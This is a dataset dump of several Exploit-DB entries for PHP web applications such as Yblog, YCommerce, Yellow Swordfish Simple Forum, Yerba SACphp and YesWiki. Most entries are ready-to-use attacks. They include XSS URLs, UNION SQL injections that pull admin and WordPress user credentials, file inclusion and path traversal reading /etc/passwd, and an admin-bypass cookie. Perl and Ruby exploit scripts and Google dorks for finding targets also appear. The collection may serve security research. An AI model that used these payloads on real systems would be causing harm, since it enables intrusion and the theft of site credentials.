deardaniel/secdata-raw huggingface dataset:
Exploit-DB #35566
Description: Yaws-Wiki 1.88-1 - Multiple Cross-Site Scripting / HTML Injection Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-04
Author: Michael Brooks

Exploit:
source: https://www.securityfocus.com/bid/47158/info

Yaws-Wiki is prone to multiple cross-site scripting vulnerabilities and an HTML-injection vulnerability because it fails to properly sanitize user-supplied input before using it in dynamically generated content.

Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible.

Yaws-Wiki 1.88-1 is vulnerable; other versions may also be affected. 

Reflective XSS:
http://www.example.com/editTag.yaws?node=ALockedPage&tag=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/showOldPage.yaws?node=home&index=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
http://www.example.com/allRefsToMe.yaws?node=%3E%3C/pre%3E%3CScRiPt%3Ealert(1)%3C/ScRiPt%3E
 
Stored XSS:
http://www.example.com/editPage.yaws?node=home
Exploit-DB #28732
Description: Yblog - 'funk.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-30
Author: You_You

Exploit:
source: https://www.securityfocus.com/bid/20280/info

Yblog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/[path]/funk.php?id="><script>alert('test!')</script><
Exploit-DB #28733
Description: Yblog - 'tem.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-30
Author: You_You

Exploit:
source: https://www.securityfocus.com/bid/20280/info
 
Yblog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com[path]/tem.php?action="><script>alert('test!')</script><
Exploit-DB #28734
Description: Yblog - 'uss.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-09-30
Author: You_You

Exploit:
source: https://www.securityfocus.com/bid/20280/info
  
Yblog is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/[path]/uss.php?action="><script>alert('test!')</script>
Exploit-DB #5773
Description: Yblog 0.2.2.2 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2008-06-10
Author: Unohope

Exploit:
  _____ _   _ _____  _____ _____ _____  
 /  ___| |_| |  _  \|  _  |  _  |_   _| 
 | (___|  _  | [_)_/| (_) | (_) | | |   
 \_____|_| |_|_| |_||_____|_____| |_|   
        C. H. R. O. O. T.  SECURITY  GROUP
        - -- ----- --- -- -- ---- --- -- - 
                     http://www.chroot.org

                          _   _ _ _____ ____ ____ __  _ 
        Hacks In Taiwan  | |_| | |_   _|  __|    |  \| |
        Conference 2008  |  _  | | | | | (__| () |     |
                         |_| |_|_| |_| \____|____|_|\__|
                                      http://www.hitcon.org


Title =======:: yBlog 0.2.2.2 Multiple Remote Vulnerabilities

Author ======:: unohope [at] chroot [dot] org

IRC =========:: irc.chroot.org #chroot

ScriptName ==:: yBlog

Download ====:: http://nchc.dl.sourceforge.net/sourceforge/y-blog/yblog-0.2.2.2.tar.gz

Mirror ======:: http://www.badongo.com/file/9705849

______________________
[SQL Injection]

- {search.php} -

<form action="http://localhost/yblog/search.php" method="post">
  <input type="hidden" name="q" value="' union select 0,1,2,3,usuario,5,6,7,8,9,10,password,12,13,14,15,16 from usuarios/*">
  <input type="submit" value="send">
</form>

<form action="http://localhost/yblog/search.php" method="post">
  <input type="hidden" name="cn" value="1">
  <input type="hidden" name="q" value="' union select 0,1,2,3,usuario,5,6,7,8,9,10,password,12,13,14,15,16 from usuarios/*">
  <input type="submit" value="send">
</form>

- {user.php} -

http://localhost/yblog/user.php?n=-99'+union+select+0,1,2,3,usuario,password,6,7,8,9,10,11,12,13,14,15,16+from+usuarios/*

- {uss.php} -

http://localhost/yblog/uss.php?action=2&done=1&n=-99'+union+select+0,1,2,usuario,password,5,6,7,8,9,10,11,12,13,14,15,16+from+usuarios+where+usuario='adm'/*

______________________
[Cross-Site Scripting]

- {search.php} -

<form action="http://localhost/yblog/search.php" method="post">
  <input type="hidden" name="q" value="<script>alert(/xss/)</script>">
  <input type="submit" value="send">
</form>

- {user.php} -

http://localhost/yblog/user.php?n=<script>alert(/xss/)</script>

- {uss.php} - 

http://localhost/yblog/uss.php?action=2&done=1&n=<script>alert(/xss/)</script>

______
[NOTE]

!! This is just for educational purposes, DO NOT use for illegal. !!

# milw0rm.com [2008-06-10]
Exploit-DB #37833
Description: YCommerce - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2012-09-21
Author: Ricardo Almeida

Exploit:
source: https://www.securityfocus.com/bid/55653/info

YCommerce is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

Proof of Concept - YCommerce Reseller
-------------------------------------
GET Param "cPath" - [Number of columns may vary]
/store/index.php?cPath=1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61--
/store/index.php?cPath=1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5,6,7 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61--
/store/index.php?cPath=1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5,6,7,8,9 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61--

GET Param "news_id" - [Number of columns may vary]
/store/index.php?pag=news&news_id=-1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5,6,7,8 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61--


Proof of Concept - YCommerce Pro
--------------------------------
GET Param "enterprise_id" - [Number of columns may vary]
/store/default.php?enterprise_id=-1 union all select 1,2,concat_ws(0x3a,table_schema,table_name,column_name),4,5,6,7 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61

GET Param "news_id" - [Number of columns may vary]
/store/index.php?pag=news&news_id=-1 union all select 1,concat_ws(0x3a,table_schema,table_name,column_name),3,4,5,6,7,8 from information_schema.columns where table_schema!=0x696E666F726D6174696F6E5F736368656D61--
Exploit-DB #6811
Description: YDC - 'cat' SQL Injection
Type: webapps
Platform: php
Date: 2008-10-22
Author: Hussin X

Exploit:
|___________________________________________________|
|
|  YDC ( cat) Remote SQL Injection Vulnerability
|
|___________________________________________________
|--------------------    Hussin X  -------------------|
|
|    Author: Hussin X
|
|    Home :  WwW.IQ-ty.CoM
|
|    email:  darkangel_g85[at]Yahoo[DoT]com
|
|___________________________________________________
|                                                                                                     |
|
| script :  http://www.ydc.ir/
|
| DorK   : "Powered by     YDC"
|___________________________________________________|

Exploit:
________



www.[target].com/Script/klist.php?cat=-0+union+select+0,concat(user,0x3e,pass),0,0,0,0,0,0,0,0,0,0+FROM+iadmin--

or

klist.php?cat=-0+uNioN+sELeCT+0,concat(user,0x3e,pass),0,0,0,0,0,0,0,0,0,0,0,0+FROM+iadmin--




____________________________( Greetz )_________________________________
|
|   All members of the Forum WwW.IQ-ty.CoM |  WwW.TrYaG.CC |
|
|  My friends : DeViL iRaQ | IRAQ DiveR | IRAQ_JAGUR | CraCkEr
|
|   Ghost Hacker | FAHD | Iraqihack | jiko | str0ke | Cyber-Zone | Sakab
|_____________________________________________________________________


                   Im IRAQi    |    Im TrYaGi

# milw0rm.com [2008-10-22]
Exploit-DB #32828
Description: Yektaweb Academic Web Tools CMS 1.4.2.8/1.5.7 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2009-03-02
Author: Isfahan

Exploit:
source: https://www.securityfocus.com/bid/33944/info

Yektaweb Academic Web Tools CMS is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Attacker-supplied HTML and script code would execute in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials.

Academic Web Tools CMS 1.5.7 is vulnerable; other versions may also be affected.

http://www.example.com/login.php?slct_pg_id=53&sid=1*/--></script><script>alert(188017)</script>&slc_lang=fa
http://www.example.com/page_arch.php?slc_lang=fa&sid=1&logincase=*/--></script><script>alert(188017)</script>
http://www.example.com/page.php?sid=1&slc_lang=en&redirect=*/--></script><script>alert(188017)</script>
Exploit-DB #37314
Description: Yellow Duck Framework 2.0 Beta1 - Local File Disclosure
Type: webapps
Platform: php
Date: 2012-05-23
Author: L3b-r1'z

Exploit:
source: https://www.securityfocus.com/bid/53674/info

The Yellow Duck Framework is prone to a local file-disclosure vulnerability because it fails to adequately validate user-supplied input.

Exploiting this vulnerability could allow an attacker to obtain potentially sensitive information from local files on computers running the vulnerable application. This may aid in further attacks.

Yellow Duck Framework Beta1 2.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?id=./database/config.php
Exploit-DB #8409
Description: Yellow Duck Weblog 2.1.0 - 'lang' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-13
Author: ahmadbady

Exploit:
                =-=-local file include-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::Yellow Duck Weblog
-------------------------------------------------
Author: ahmadbady

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
download from:http://prdownload.berlios.de/ydframework/YDWeblog-2.1.0-final.tar.gz

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=--=-=-=-=-=-=-=-==-=-=
vul: /include/languages/check.php

$file = 'language_' . $_GET['lang'] . '.php'; line 9

include $file; line 20
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-
xpl:
/path/include/languages/check.php?lang=[local file]%00
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-

# milw0rm.com [2009-04-13]
Exploit-DB #41520
Description: Yellow Pages Clone Script 1.3.4 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-06
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Yellow Pages Clone Script v1.3.4 - SQL Injection
# Google Dork: N/A
# Date: 06.03.2017
# Vendor Homepage: http://www.phpscriptsmall.com/
# Software : http://www.phpscriptsmall.com/product/yellow-pages-clone-script/
# Demo: http://dexteritysolution.com/demo/directory/
# Version: 1.3.4
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/testmonial.php?blogid=[SQL]
# -2'+/*!50000union*/+select+1,@@version,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,4,5,6-- -
# http://localhost/[PATH]/blog.php?blogid=[SQL]
# -2'+/*!50000union*/+select+1,@@version,3,4,0x496873616e2053656e63616e203c62723e7777772e696873616e2e6e6574,6,7,8,9,10,11,12-- -
# Etc...
# # # # #
Exploit-DB #41590
Description: Yellow Pages Script 3.2 - 'category_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-03-11
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Yellow Pages Script v3.2 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/yellow-pages-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=yps&front=1&lid=1
# Version: 3.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionIndex&category_id=[SQL]
# Etc..
# # # # #
Exploit-DB #31210
Description: Yellow Swordfish Simple Forum 1.10/1.11 - 'topic' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27823/info

Simple Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects Simple Forum 1.10 and 1.11; other versions may also be affected. 

http://www.example.com/forums?forum=1&topic=-99999/**/UNION/**/SELECT/**/concat(0x7c,user_login,0x7c,user_pass,0x7c)/**/FROM/**/wp_users/*
Exploit-DB #31211
Description: Yellow Swordfish Simple Forum 1.7/1.9 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27824/info

Simple Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

This issue affects Simple Forum 1.7 and 1.9; other versions may also be affected.


http://www.example.com/index.php?pagename=sf-forum&forum=-99999/**/UNION/**/SELECT/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),111,222,333,444,555/**/FROM/**/wp_users/*
Exploit-DB #31227
Description: Yellow Swordfish Simple Forum 1.x - 'sf-profile.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-18
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27854/info

Simple Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/wp-content/plugins/simple-forum/ahah/sf-profile.php?u=-999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2C1%2C2%2C3%2C4%2Cconcat(0x7c,user_login,0x7c,user_pass,0x7c)%2C6%2C7%2C8%2C0x7c%2F%2A%2A%2Ffrom%2F%2A%2A%2Fwp_users
Exploit-DB #31212
Description: Yellow Swordfish Simple Forum 1.x - 'topic' SQL Injection
Type: webapps
Platform: php
Date: 2008-02-15
Author: S@BUN

Exploit:
source: https://www.securityfocus.com/bid/27825/info

Simple Forum is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

http://www.example.com/?page_id=xxxx&forum=S@BUN&topic=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,concat(0x7c,user_login,0x7c,user_pass,0x7c),111,222,333,0,0,0,0,0/**/from%2F%2A%2A%2Fwp_users/**where%20id%201%20=%20-1
Exploit-DB #28741
Description: Yener Haber Script 1.0/2.0 - SQL Injection
Type: webapps
Platform: php
Date: 2006-10-04
Author: Dj_ReMix

Exploit:
source: https://www.securityfocus.com/bid/20333/info

Yener Haber Script is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/?x=2&kategori=11&id=-1%20union+select+id,kullanici_adi,sifre+from+admin
Exploit-DB #6687
Description: Yerba SACphp 6.3 - Local File Inclusion
Type: webapps
Platform: php
Date: 2008-10-06
Author: Pepelux

Exploit:
#!/usr/bin/perl
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Yerba SACphp <= 6.3 / Local File Inclusion Exploit
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Program: Yerba SACphp
# Version: <= 6.3
# File affected: index.php
# Download: http://sourceforge.net/projects/yerba/
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
# Bug:
# 37-		include("modulos/$mod/mod_nucleo.php");


use LWP::UserAgent;
use HTTP::Request::Common;

my ($host, $file) = @ARGV ;

unless($ARGV[1]){
	print "\nUsage: perl $0 <host> <file_to_edit>\n";
	print "\tex: perl $0 http://localhost /etc/passwd\n\n";
	exit 1;
}

$host = 'http://'.$host if ($host !~ /^http:/);
$host .= "/" if ($host !~ /\/\$/);

my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/[PII_REDACTED] Firefox/3.0.1");
$ua->timeout(10);

my $request = HTTP::Request->new();
my $response;
my $url = $host."index.php";

my $req = HTTP::Request->new(POST => $host."index.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("mod=../../../../../".$file."%00");

$request = $ua->request($req);
$result = $request->content;

$result =~ s/<[^>]*>//g;

print $result . "\n";

exit;

# milw0rm.com [2008-10-06]
Exploit-DB #6691
Description: Yerba SACphp 6.3 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-10-07
Author: StAkeR

Exploit:
 [*]~======================================================~[*] 
 [*]   Yerba SACphp <= 6.3 Multiple Remote Vulnerabilities  [*]
 [*]~======================================================~[*]
 
 [?] Discovered By StAkeR - StAkeR[at]hotmail[dot]it
 [?] Discovered On 07/10/2008
 [?] http://downloads.sourceforge.net/yerba/SACphp-6_28.tgz?modtime=[PII_REDACTED]&big_mirror=0

 [?] Admin Login ByPass
 [?] javascript:document.cookie="galleta[sesion]=MToxOkFkbWluaXN0cmFkb3IgZGVsIFNpc3RlbWE6Jw=="

 [?] Privilege Escalation 
 [?] index.php?SID=[path (base64 encoded)]

 [?] Arbitrary Database Download
 [?] index.php?SID=Jm9kbGFwc2VyPXhmJmFtZXRzaXM9cG9tJm5pbWRBQkR5PWRvbQ==

 [?] Arbitrary Add Admin 
 [?] index.php?SID=JnJhZ2VyZ2E9eGYmYW1ldHNpcz1wb20mc29pcmF1c1V5PWRvbQ==

# milw0rm.com [2008-10-07]
Exploit-DB #11368
Description: Yes Solutions - Webapp SQL Injection
Type: webapps
Platform: php
Date: 2010-02-09
Author: HackXBack

Exploit:
####################################################################
.:. Author : HackXBack [h-b@usa.com] Lebanese Hacker

.:. Team : Sec Attack Team
.:. Home : www.sec-attack.com/vb
.:. Script : YES SOLUTIONS [http://www.yessolutions.biz/files/index.php]

.:. Bug Type : Sql Injection
.:. Dork : "Powered by: Yes Solutions"

####################################################################

===[ Exploit ]===

http://server/path/file.php?id=null[SQL]





===[ Example ]===

http://site.com/files/services.php?id=-34%20union%20select%201,2,concat%28login,0x3a,password%29,4,5,6+from+login_table+where%20login_id=1

http://site.com/latest_news.php?id=-3%20union%20select%201,group_concat%28username,0x3a,password%29,3,4,5,6,7,8+from+login

http://site.com/files/company.php?cat_id=-2%20union%20select%201,group_concat%28Login_Name,0x3a,Password%29,3,4,5,6,7,8+from+login_table

http://site.com/files/product_detail.php?item_id=-122%20union%20select%201,2,3,group_concat%28Login_Name,0x3a,Password%29,5,6,7,8,9+from+login_table

http://site.com/files/product.php?cat_id=-29 union select 1,group_concat(login,0x3a,password),3,4,5,6,7+from+login_table

http://site.com/files/detail.php?id=34&page_id=-3%20union%20select%201,group_concat%28login,0x3a,password%29,3,4,5,6+from+login_table











####################################################################
Exploit-DB #31080
Description: YeSiL KoRiDoR Ziyaretçi Defteri - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-30
Author: ShaFuck31

Exploit:
source: https://www.securityfocus.com/bid/27518/info

YeSiL KoRiDoR ZiyaretÃ§i Defteri is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/defter/index.php?sayfa=[sqL inj. code here ..]
Exploit-DB #38071
Description: YesWiki 0.2 - 'squelette' Directory Traversal
Type: webapps
Platform: php
Date: 2015-09-02
Author: HaHwul

Exploit:
# Exploit Title: YESWIKI 0.2 - Path Traversal
# Date: 2015-09-02
# Exploit Author: HaHwul
# Exploit Author Blog: http://www.codeblack.net
# Vendor Homepage: http://yeswiki.net
# Software Link: https://github.com/YesWiki/yeswiki
# Version: yeswiki 0.2
# Tested on: Debian [Wheezy]
# CVE : none
# ===========================================

#Vulnerability 
#Open Browser: http://[targetURL]//vul_test/yeswiki/wakka.php?wiki=PagesACreer/edit&theme=yeswiki&squelette=/../../../../../../../../../../../../etc/passwd&style=gray.css&bgimg=&newpage=1

require "net/http"
require "uri"

if ARGV.length != 2

puts "YESWIKI Path Traversal Exploit - File Downloader"
puts "Usage: ruby yeswiki_traversal.rb [targetURL wakka.php] [File name]"
puts "  Example : ~~.rb http://127.0.0.1/vul_test/yeswiki/wakka.php /etc/passwd"
puts "  exploit & code by hahwul[www.codeblack.net]"

else
puts "YESWIKI Path Traversal Exploit - File Downloader"
puts "#set Payload..."
target=ARGV[0]
downfile=ARGV[1]
puts " + target : #{target}"
puts " + DownFile : #{downfile}"
puts "#Exploit"
uri = URI.parse("#{target}/vul_test/yeswiki/wakka.php")
uri.query = URI.encode_www_form({"wiki"=>"PagesACreer/edit","newpage"=>"1","style"=>"gray.css","bgimg"=>"","squelette"=>"/../../../../../../../../../../../../#{downfile}","theme"=>"yeswiki"})
http = Net::HTTP.new(uri.host, uri.port)
request = Net::HTTP::Get.new(uri.request_uri)
response = http.request(request)
puts "#Response code: "+response.code
endNm = response.body.index("<")
result = response.body[0..endNm-1]
puts "#Result: "+result
puts "#End.."
end